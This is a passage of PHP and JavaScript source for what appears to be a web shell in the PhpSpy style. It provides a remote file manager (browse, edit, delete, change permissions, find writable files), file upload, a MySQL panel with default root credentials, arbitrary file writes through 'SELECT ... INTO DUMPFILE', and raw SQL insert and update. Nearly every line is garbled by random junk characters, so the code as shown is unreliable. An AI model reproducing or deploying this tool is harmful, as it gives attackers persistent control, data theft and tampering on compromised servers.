E- u$ ^1 o3 b* E- E+ j - makehide('pfile');, a+ Y8 p$ o& H" U# b
- makehide('dir',$nowpath);
7 Q9 G1 E9 F4 W/ \: w$ V2 g0 r7 Y - formfoot();
5 y. f2 C3 g. F# p - formhead(array('name'=>'copyfile'));
0 b! d+ q- ~' w* R - makehide('sname');
+ e4 z/ i* y. p( j+ G* w - makehide('tofile');2 R9 q4 P! w6 Q; d$ g& A% ?4 _
- makehide('dir',$nowpath);
8 }' U( b: F$ ] - formfoot();
z ]! ]$ u, A6 ^7 ], ^2 n - formhead(array('name'=>'rename'));4 x5 g# z) n, S: [3 g
- makehide('oldname');
* Y+ c; @) J1 q% C8 {" d - makehide('newfilename');
2 k9 ~1 a1 [) b# U) i - makehide('dir',$nowpath);' f9 w& n% P0 K! Y3 ~& A( K
- formfoot();! V" I' d- {) A8 b. V7 O" D% ^
- formhead(array('name'=>'fileopform'));2 H, ?9 u- a% H1 a+ a3 n
- makehide('action');
8 [6 E) c4 P- n+ v/ R - makehide('opfile');% S$ O: @) y" W2 K/ c' ^
- makehide('dir');* l4 {% w2 O% {8 ]. e
- formfoot();
! T! N0 K! m0 |3 W5 s4 V i -
, K' _5 b8 E. i: v9 i& M& Z - $free = @disk_free_space($nowpath);8 l& Y7 c7 t( g* g
- !$free && $free = 0;- y/ y( f3 P, w3 F; K( U
- $all = @disk_total_space($nowpath);( J- Z) C, x1 i0 r+ Z& ^& N
- !$all && $all = 0;
: U# T f9 j7 n. Q, _% Z - $used = $all-$free;0 M7 J0 Q j' J9 C
- $used_percent = @round(100/($all/$free),2);
+ I2 i5 x, u" @2 S, O K2 b6 {1 z( B - p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
0 E) l- S& z& m: b6 V3 T6 |5 F -
0 P5 H8 y) Y: \7 c' j - ?>: F9 d* M; N. @* g- O- k# R
- <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">* I. P3 K5 G8 f1 Q( y
- <form action="" method="post" id="godir" name="godir">
( S. W1 k! C8 j0 P7 x - <tr>
) }$ i/ x* W/ N; R3 a- I+ f - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
0 h7 ~) r( L2 M2 b% r - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
/ o4 b/ y& n: h- [. M5 o - <td nowrap><input class="bt" value="GO" type="submit"></td>0 x; _! z" k; |' k
- </tr>1 e [4 N! j: I0 Y- s9 G; V' f6 s
- </form>
. f `1 D( m$ |: _" t7 g$ w; M - </table>& y7 m& Z# n9 r& N6 G
- <script type="text/javascript">
* H* ]+ \$ }+ P% I! y+ a B - function createdir(){ j+ f/ {& h7 l( I$ g+ J
- var newdirname;
7 y6 Z: w" X) K. f* L _ - newdirname = prompt('Please input the directory name:', '');
3 ^1 }" X8 L t - if (!newdirname) return;5 r) R! d% w8 S- W4 ]. w4 a5 U; t3 t
- $('createdir').newdirname.value=newdirname;
, z8 p7 l! N2 Y* q+ J6 d - $('createdir').submit();
; ^0 J! m. k) ?6 _7 @ r9 X! u - }
+ U5 u' V& ?1 ~6 p t# ? a$ c - function fileperm(pfile){
% Q1 h% k' K, v1 i+ R - var newperm;
; a, f( \" L# l0 q2 J - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');/ D9 k8 a6 W8 a
- if (!newperm) return;1 T) g+ w1 k6 i. N# R
- $('fileperm').newperm.value=newperm;
$ h7 J9 x9 P# V; [' J6 Q: V - $('fileperm').pfile.value=pfile;: J% v3 F! Y! z' H- k% e6 x
- $('fileperm').submit();
! F0 V! G m9 b9 [ - }
: j/ \1 s2 p, o4 Z) h: d6 A - function copyfile(sname){
3 Q, d0 l; R0 b5 H - var tofile;& b8 F0 g+ b* H& Q
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');+ U! o$ O1 z$ r8 ~% Q3 D' @
- if (!tofile) return;3 p) x! l0 p2 B# x, h' V, i& u% t
- $('copyfile').tofile.value=tofile;; y' }( l: S N0 ^9 s3 l* ]
- $('copyfile').sname.value=sname;% N3 u4 Q/ q8 }# g
- $('copyfile').submit();
; j5 M" C+ N+ J s. _3 S0 d7 b - }& i& R/ t6 F9 h ~; T
- function rename(oldname){
1 A: ]! F( ]! o \# Y" v9 f9 B; V - var newfilename;0 D: `/ [8 G' Y: s/ R/ j _0 `
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');' L( | {! p; K+ ?
- if (!newfilename) return;
+ V/ }' c2 W/ |8 B0 Z J - $('rename').newfilename.value=newfilename;+ r7 w- D l7 e- b7 W* m
- $('rename').oldname.value=oldname;
$ J+ G+ g* e0 M - $('rename').submit();, l9 c8 H' r1 K7 n) b
- }! c; O/ ?. z$ ]0 n1 S
- function dofile(doing,thefile,m){/ G) U" f: Q" h7 p
- if (m && !confirm(m)) {7 Q! d: b- }6 q" c f
- return;* h( K, e4 w$ o% a& J. J
- }. B: a# A% h# }0 x7 [) H0 P
- $('filelist').doing.value=doing;- _- h4 w' n9 Q( M
- if (thefile){
0 z+ S) q( K# c7 M# X8 M. l - $('filelist').thefile.value=thefile;
* e6 }0 t/ b5 J) x& r7 A; @& Q - }9 ]# B/ K2 S$ D
- $('filelist').submit();
2 s) O. t: ]# k0 x8 N, w+ k# f - }
& ]5 L. I* Z( K$ H. m - function createfile(nowpath){
8 i0 I! c8 ], w/ C - var filename;3 e( U/ O4 p' v6 e
- filename = prompt('Please input the file name:', '');5 L0 p7 Z8 M' |* G7 [
- if (!filename) return;2 r* L' K9 M' @8 x4 n" L% |& ^5 |
- opfile('editfile',nowpath + filename,nowpath);# g0 k5 ^9 T* B. T% I
- }
0 |9 v; i6 o6 {+ P. f$ ?7 c - function opfile(action,opfile,dir){
" A, [3 g! j. Q& v - $('fileopform').action.value=action;
4 m! T4 `: t8 Y8 {+ a; _ [ - $('fileopform').opfile.value=opfile;
}! T z- m V - $('fileopform').dir.value=dir;. A) i, @+ r. I1 X3 v2 G$ q4 U
- $('fileopform').submit();6 A1 x/ |* V; O0 R+ T2 ]
- }1 v5 h8 L3 @) G
- function godir(dir,view_writable){) \+ ^( r' \, E0 J' P
- if (view_writable) {, _2 Q) n0 u5 u3 v6 w, s
- $('godir').view_writable.value=1;
( k( k% M$ J6 o& i - }# P5 O5 W& G( V9 `7 H, D
- $('godir').dir.value=dir;
7 B. _3 w# m6 r4 h8 s' r - $('godir').submit();
' n4 [3 m7 E+ x. n( e9 N) V9 W( f - }
% x+ q7 H9 q W1 p: _" a% @4 c - </script>, N/ F+ u' ], b7 z( c( Z
- <?php3 S: t* x5 C- N6 t! {" x# |+ L& J
- tbhead();
' A1 J6 n) N- t4 A4 n' B - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
0 C& z5 x, v3 ]1 N, P - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
, r7 Q) K M( C W5 l" {( e6 y - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
8 m& K' S7 U1 k. e; t- u* S' g - if ($view_writable) {; ]/ ]2 r$ P& ^2 P1 X
- p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');$ `! x# O- K# _' y+ q
- } else {
8 P8 i& v9 i% S% a8 ` - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');% g: ?4 @+ p: ?% W# Z% G1 _- O
- }1 l* [& Q; f* H0 o/ V
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');# R) x3 |& H$ J. A* P
- if (IS_WIN && IS_COM) {" r- Y, W/ G( U k1 z
- $obj = new COM('scripting.filesystemobject');
x7 r/ K! l5 P9 A* ?! d - if ($obj && is_object($obj)) {$ U/ V7 R+ V" r# Q8 H" U; G; F
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');3 D/ l7 o$ \& q! ~$ Q/ \
- foreach($obj->Drives as $drive) {
Y6 l; [* i8 l" |3 g4 r - if ($drive->DriveType == 2) {
5 ^6 |5 j/ U/ [ - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'* A8 [& C7 x7 M- A2 n1 }% P/ Z
- Free:'.sizecount($drive->FreeSpace).'; Z/ T) z/ ]; ~7 H' S
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');: p0 _- E+ I6 q; O* I5 Z* ^
- } else {/ H3 y+ N: K! R3 r* a
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
9 R f5 C/ R2 c8 f7 Y2 i - }
) P3 J& x2 c3 `" C% ~! `" b) Y+ B$ i - }
$ i% f% Z% l6 v3 N) o1 I2 H - }' `) r# m7 A; R6 Q6 G |
- }
6 e2 C4 t! U6 m9 Y9 I6 D - 0 {* B! \+ a. L
- p('</td></tr></form>');
4 O9 [/ s1 K6 |& Y1 f D: ] -
M; Q3 u) a" d) @" j9 {( W - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');( o/ T+ |' \4 t2 }
-
+ H1 w$ I; y! ]8 C/ E - //查看所有可写文件和目录
+ Y/ [) K; j2 P$ G" t5 i* `4 q* G - $dirdata=array();
?% |' G Y E+ J1 F - $filedata=array();! s% a5 W8 J+ e3 E2 m
- 8 T7 F! p% q5 u3 l- m
- if ($view_writable) {0 `- L+ T! b3 ^: p3 I
- $dirdata = GetList($nowpath);
3 B0 }9 o& x8 D# ?- A - } else {2 I, B! z v9 S" g( A) x
- // 目录列表& S. N4 ` z: Z( o
- $dirs=@opendir($dir);
1 E5 i& u5 ^$ Y* m - while ($file=@readdir($dirs)) {0 b* L7 H, a. q# N; u; R! J
- $filepath=$nowpath.$file;" k3 @$ V/ n2 q7 P% X9 D( p: S
- if(@is_dir($filepath)){5 u4 ~% d# o) `( S# X5 W
- $dirdb['filename']=$file;
7 y; K" \- k* b- ^5 V7 l! D - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
( _9 o# g! l" C+ y0 q - $dirdb['dirchmod']=getChmod($filepath);$ a- S" i0 k9 Y- [9 _) A- c; @
- $dirdb['dirperm']=getPerms($filepath);
/ ~4 H! W, z6 Y; t) N7 f - $dirdb['fileowner']=getUser($filepath);
$ Z- @* ]: R" `5 H - $dirdb['dirlink']=$nowpath;
6 E; D9 g4 i/ B+ d i5 m- v7 z" h - $dirdb['server_link']=$filepath;
- j' I. j! N7 F. M - $dirdb['client_link']=ue($filepath);
. J; {0 t I" Q/ Q - $dirdata[]=$dirdb;5 Q0 L( I9 u2 _4 }
- } else { " v7 [! {' l) n/ X) e% u' I2 M
- $filedb['filename']=$file;
$ {1 H$ R! l% H. A5 r# W) [ - $filedb['size']=sizecount(@filesize($filepath));
0 A: R- e5 t7 L* a - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));4 E0 {2 E3 p/ y9 U& F
- $filedb['filechmod']=getChmod($filepath);8 u7 G. O6 z* S; [/ I5 p0 O
- $filedb['fileperm']=getPerms($filepath);6 W1 R& h/ b7 ?1 F
- $filedb['fileowner']=getUser($filepath);6 Q! L# v" I7 c
- $filedb['dirlink']=$nowpath;
4 r! A/ o# Y$ G/ ]# ]; U - $filedb['server_link']=$filepath;2 h0 d5 n7 I1 v; V
- $filedb['client_link']=ue($filepath);% c1 I7 n& \1 P0 p) d4 X
- $filedata[]=$filedb;# A7 r/ j8 n8 s2 `3 Q
- }
4 i& D5 ~8 @0 g7 B+ y" T) l+ H - }// while
$ x* D8 O0 c8 \. U$ B7 C4 d9 H - unset($dirdb);
: Q8 k& `7 |; q2 G/ R; H) l& S2 D - unset($filedb);
: T0 e9 G+ r; b" ] - @closedir($dirs);
, I3 P9 a: g% S* W: Z - }
5 |/ `& v$ [" V' o- M - @sort($dirdata);% @. E7 s, [3 g2 ?0 V! d- i3 n& A
- @sort($filedata);
0 \& B# U+ r* U) B4 c% [ - $dir_i = '0';7 b1 g$ N6 f5 k3 }7 L h0 ^7 Y
- foreach($dirdata as $key => $dirdb){! e0 |) l- ]$ M1 S: I
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
' }; M3 Q( g( |( W* ] - $thisbg = bg();
! `0 o5 z8 c6 z - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" x2 Z* b2 S& h7 _
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% n4 e8 D/ x: W
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');; U4 w3 w$ ]4 U$ K: P! u
- p('<td nowrap>'.$dirdb['mtime'].'</td>');
! l$ j% F& N7 `; T - p('<td nowrap>--</td>');5 c- y7 @+ \# C. i! @/ x7 O
- p('<td nowrap>');
$ `1 j1 k$ W/ C" z - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
5 S+ s& Y) k- G) C - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
7 P7 C5 y) P+ k; S) b - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
" z# A) @( U" N3 Z3 O+ y - p('</tr>');: d2 @5 e- G, \8 j( Z! h8 _
- $dir_i++;+ J; M( N* S4 P" r1 U
- } else {
$ m2 f' b" o( K5 j; X - if($dirdb['filename']=='..') {6 ]( K1 [0 C9 c3 T/ I3 j
- p('<tr class='.bg().'>');, q; l0 I/ J/ {4 ] e
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');( v* g: @- Q3 b6 x2 I+ K, ]' ~/ `
- p('</tr>');
. L" m; P0 P& [' Q: N$ k: \! s - }
1 g3 b. {$ D( Q% f - }+ ^/ c# E/ T! B+ q7 p. j. C
- }
0 V+ c0 x) ~6 E1 a -
4 F) D1 o2 b% R( s9 _ - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');1 _: ~3 q t" |, G% K9 _
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');8 A: }2 _/ w0 `
- makehide('action','file');! v. [# d- \! e) x- u
- makehide('thefile');: [ }0 [7 H7 E
- makehide('doing');
# i( ], y' Y5 w1 C" K1 _& P - makehide('dir',$nowpath);
0 o- J1 z: c; i( b( F) ~, q - $file_i = '0';
0 z t8 r& P* p* R/ I, U( C/ o: Z - foreach($filedata as $key => $filedb){3 X, `: ]& V8 w' |
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
' P( ?4 J5 @# U: F/ g - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);+ }2 T% l* D1 x+ b/ V* h8 \' g
- $thisbg = bg();
$ e$ `9 [" V" X% W3 j - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
# }6 K r1 X" A2 S" R) D6 N - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
4 n/ O; { p& x& T2 v) a/ M - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');; K( c* \ w& x% Z& k
- p('<td nowrap>'.$filedb['mtime'].'</td>');
8 _$ |: Z+ W0 _; ]6 @$ a5 H h3 g/ j - p('<td nowrap>'.$filedb['size'].'</td>');
. X* q( b# i; e2 a9 {, ?" d5 F6 O - p('<td nowrap>');! I1 ]& e( O9 b2 \1 n2 V. P
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
: x/ J9 \ \. G$ U" X3 G U+ ] - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
+ E: o& C7 q* b& ~+ z/ `' _/ Q [9 @" l - p('<td nowrap>');
. X# z# B4 R1 ^6 Y - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1 Z1 R2 l( H' c9 a0 _0 c - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
) u2 T' s3 b3 H0 u, f1 M0 p8 a - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
2 {& V; V. ?6 z. g; J - p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
$ |/ w% B. G5 O0 n A. i/ ] - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');: \+ W7 P" J" y- b. c
- p('</td></tr>');, y \1 v% P, |& Y
- $file_i++;+ r2 z) F/ I# m( a
- }
; Y& h4 D! G; b1 q) D1 u: c - }
( y9 r& j+ D9 {/ K! u& w - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
' @2 @# _: ^: z3 ?6 U; I! E* J - p('</form></table>');
$ e, W" p; P7 y, R5 L3 ?/ T0 l6 w - }// end dir
9 t3 ]2 \1 \, K -
3 @9 Z' |& V- W; M0 ~/ u( d - elseif ($action == 'sqlfile') {6 l1 A6 |" {! l; F/ F1 F% ^
- if($doing=="mysqlupload"){
) Z) _ j. j$ R+ s" k% a. x" v - $file = $_FILES['uploadfile'];+ w, u1 k) c4 l6 x
- $filename = $file['tmp_name'];+ r9 `' \# l+ }) d+ ]4 C) q( f1 r0 ]
- if (file_exists($savepath)) {
) N! }. o& N2 D& ~ - m('The goal file has already existed');; |8 e% c/ E" ~- _! \) D
- } else {( u* P D9 m) _2 j8 p3 @) m
- if(!$filename) {8 ^+ c* G& h) ?$ y! G
- m('Please choose a file');
+ f5 O' r/ L: Q. q' c& P! i: ] - } else { o4 S# b. l8 x+ |, p
- $fp=@fopen($filename,'r');+ X+ K$ ] Z9 o# r
- $contents=@fread($fp, filesize($filename));7 M8 A- v" t# g) j' F# C
- @fclose($fp);; h% g" h8 t2 v! A% H
- $contents = bin2hex($contents);
6 j; F) z( q g' g w4 p7 [- N+ x - if(!$upname) $upname = $file['name'];8 ^1 r7 \% Y7 [9 d: Q) ]) l# ]
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
6 w4 `6 X& Y4 F) G2 o6 p# E - $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");! o( s& t/ Z1 g7 v: I R
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());+ q; `: h4 i/ m
- }" P% W, M u( C
- }
k1 @. _+ Y( N6 H3 [' b* K+ X4 [; m - }
* \+ J* w% W$ X8 D& P0 o - ?>% T& _; E& Y' m5 z# y* c5 L- C
- <script type="text/javascript"># h+ s5 l7 e& @/ ]7 v9 @( ?# I
- function mysqlfile(doing){
/ a6 e- g2 m# O; i - if(!doing) return;
8 u! Y9 G% T0 m - $('doing').value=doing;6 z9 m) ]) Z1 K: Y5 j) j6 z. t
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;/ d% @- f7 G# l0 t; f
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
, N7 ]1 |/ M+ l& f$ Z" b - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;8 {0 V% ~2 e$ R9 W; z
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;% i$ m9 b0 i4 P/ p; e, |
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
( a2 k2 I" N; z9 [4 _( f - $('mysqlfile').charset.value=$('dbinfo').charset.value;
2 |/ r. K8 H; N - $('mysqlfile').submit();
2 @# V' U! ]! p a+ L - }
6 \5 S9 m; p5 Q9 h6 d1 a - </script>
# ?4 \% p+ H' m - <?php
( K' x$ Y+ R) B6 t! i5 F9 ?: U& W" k - !$dbhost && $dbhost = 'localhost';
1 j$ f L9 G# y9 e - !$dbuser && $dbuser = 'root';3 c% b2 j2 W. J7 [1 T) p8 x
- !$dbport && $dbport = '3306';3 O( z' e: l: J* |
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
& X/ r0 o. \9 |, A; f - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
. Y* K" X1 b# \9 D - makehide('action','sqlfile');" {* R4 t8 t U4 {2 [: [
- p('<p>');" T+ r: r0 z9 n5 E
- p('DBHost:');
! g, V O4 |, }/ V+ X0 a( }( Y - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
; L6 j; ?9 i- y" W0 p1 K - p(':');
9 E g* V8 T& T' a1 _; s7 X - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
3 A0 p L, Y# j- d7 g& \0 M2 s - p('DBUser:');5 r n% i( M; X
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+ s4 |$ e5 _% T - p('DBPass:');% @6 g3 J4 a- v5 b# a" F+ F0 R
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
/ C* y0 d# m3 g - p('DBName:');4 @) h2 y9 U8 t0 a1 U% ^- A7 V; O- R* X
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));! e& U8 h' b% u0 Z
- p('DBCharset:');) [) J5 i2 u' E5 E" c6 _8 }, }7 J# h( E
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));- n6 j' p& u$ i" T0 _ l
- p('</p>');
- x8 }. v. }0 u0 H+ J& l4 i% [ - formfoot();9 V' u, i( `2 N2 E
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
% b7 q4 Q6 Y4 [$ r! F j- b: t - p('<h2>Upload file</h2>');
. j) Y M7 X3 E j4 e - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
$ K k8 {% E8 y5 c( @ - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');5 j& n! e, y& k+ ?- X! O$ R/ X
- p('<h2>Download file</h2>');/ K1 Z4 E9 F( t9 A) [
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');* e( c, [+ |3 F, c7 S# s! ] @
- makehide('dbhost');
$ J8 R9 R( ^0 z( p& L) d - makehide('dbport'); d, [6 v5 _7 o6 g9 V% {' E
- makehide('dbuser');" Y) r+ e' K# s6 P
- makehide('dbpass');
8 m$ \ ^* X0 w - makehide('dbname');8 {, Z& X# v* m9 p( z* H9 Q
- makehide('charset');
- u( `1 W6 H1 O% _ - makehide('doing'); G+ r+ C0 l: e: O& R/ a
- makehide('action','sqlfile');) y3 J/ ]8 j" q- o
- p('</form>');. p$ I' M( e i9 ?$ o
- }: |1 M- f/ m. K3 _
-
- S- A9 h% A0 p( N( [ - elseif ($action == 'sqladmin') {
! Y. y* @# V! }) S - !$dbhost && $dbhost = 'localhost';
; I8 H" ^9 E% D# T! D/ Z - !$dbuser && $dbuser = 'root';* ^5 Y" x' N" M" h3 D' |
- !$dbport && $dbport = '3306';
" a8 K( H( r3 ]2 c, r$ Z; O/ z - $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
' ~1 A8 ]! |. E7 O# d7 G8 W6 J - if(isset($dbhost)){0 I7 O8 M# h/ A
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";& }5 g! M7 e2 v2 D
- }
' n a: G& p! R, n4 T5 X# m - if(isset($dbuser)) {
. O1 W, R4 ?7 _, Z4 a9 k - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";2 f" ~1 e- r% x4 V; ]; M; q/ |
- }9 g, V4 z2 e8 I F- g# J1 E. U3 f
- if(isset($dbpass)) {8 a4 v# B' a: }/ \$ K8 o' J* ^
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";% m4 f3 B& h) H7 a8 O4 K' @1 m+ j
- }* V' K8 |) J, n' r
- if(isset($dbport)) {
9 c% m& i% _! _ - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";" R& ]8 S9 z" ^3 q; D0 @* ~8 ~4 I8 E
- }; I) A/ l& j0 F0 R
- if(isset($dbname)) {
9 Z8 M* z \$ d) B0 @; ] - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
: J W( ~! I6 ]9 e4 u7 j- l2 k - }
( Q( o9 V3 M( ^! f$ p) } - if(isset($charset)) {! ~3 T' P' W. o* _9 w
- $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
6 q9 q. l- ^' V8 |2 s5 q - }$ ^" U- Z7 }" f" _; |+ I0 u8 {
-
- v5 W$ W- I2 C) H& S" p7 D - if ($doing == 'backupmysql' && $saveasfile) {
: F6 X- B( |; O% |4 m( y. I - if (!$table) {$ g N) t6 H8 _. f9 B+ Z. E
- m('Please choose the table');$ j1 Z4 `0 w2 J' t) j
- } else {( k0 V( Q/ V( J& U
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);4 q+ o5 _; ^- U3 ]
- $table = array_flip($table);+ y+ r6 n' ]$ w |
- $fp = @fopen($path,'w');+ l* }5 X6 e( g
- if ($fp) {8 k9 l8 @* s. v" J' n# e0 \
- $result = q('SHOW tables');
, I' g) l, q. C% q+ E5 U8 A - if (!$result) p('<h2>'.mysql_error().'</h2>');
; Y/ [4 B+ K P# X - $mysqldata = '';
1 G6 f* l) Y% _$ y - while ($currow = mysql_fetch_array($result)) {! Z* v. _9 @6 ]' R. K1 J/ M( g5 B
- if (isset($table[$currow[0]])) {
+ a8 n; ]: m, d# N8 D- g - sqldumptable($currow[0], $fp);8 [7 n2 \6 \8 ^/ D9 k' _
- }
" ^" _. z, I4 V2 K2 I1 }; l7 Z - }
1 C& U( y; p) j - fclose($fp);9 ]. E8 T: Y3 S, J, f N. s
- $fileurl = str_replace(SA_ROOT,'',$path);
% H4 w( s3 O& w# Q. C' | - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');+ A, X* y. ^, G! S H4 ~
- mysql_close();
, T& U$ \) G/ V& j& G- U. T$ m - } else {
* u, B( T2 E' j \1 P/ m. e - m('Backup failed');4 ~7 r; q' E6 f; {6 O7 j! r" a
- }
' p# ]+ ]7 {4 }3 f; K: z+ | - }
3 K7 B6 W0 x! ^4 \" _5 w" q - }1 o2 S- g; o8 Q4 p9 N7 X4 e
- if ($insert && $insertsql) {0 ]+ c. M, K- b7 U4 i
- $keystr = $valstr = $tmp = '';
& \4 y M7 p* ] - foreach($insertsql as $key => $val) {1 |' n1 c7 Z% t# U; A6 J
- if ($val) {6 `; [+ D, ~2 [
- $keystr .= $tmp.$key;
. Y) l# h7 Q8 I' `- t - $valstr .= $tmp."'".addslashes($val)."'";6 F' H& t! P3 r7 r! v7 ~- {
- $tmp = ',';
( `9 N- _8 r. S0 o8 {6 L$ e5 |. [ - }
) `; j1 V& R% ?: b5 a* P5 h! Z: k - }
4 D6 R% o8 S, B* l- m0 a7 ] - if ($keystr && $valstr) {0 `7 s' A+ j' N: B/ b- g: V; `
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
# @2 r. ^" A/ D5 E - m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());& d, ?: B; L1 y6 g
- }
" F! x' D3 ]4 d8 H$ ^$ X - }. W& D2 K) j* j- r
- if ($update && $insertsql && $base64) {- I/ T+ m% o1 U# i- P, R
- $valstr = $tmp = '';2 l* p" M" G) A' f/ z8 K
- foreach($insertsql as $key => $val) {
" e: G. ^1 n4 w, ~: z - $valstr .= $tmp.$key."='".addslashes($val)."'";
$ s1 P7 n |; t - $tmp = ',';+ o, O u& U# T( x
- }
1 @% Y; y( F6 @! |9 x - if ($valstr) {0 s% D$ N: Q" |, H, j& X" {
- $where = base64_decode($base64);
6 l! q( F. g: T. u3 H) k - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
N* l8 ], z# {" d - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());/ z# w5 m" ]! ^' k
- }1 g. a, A+ L2 C' J6 w0 N
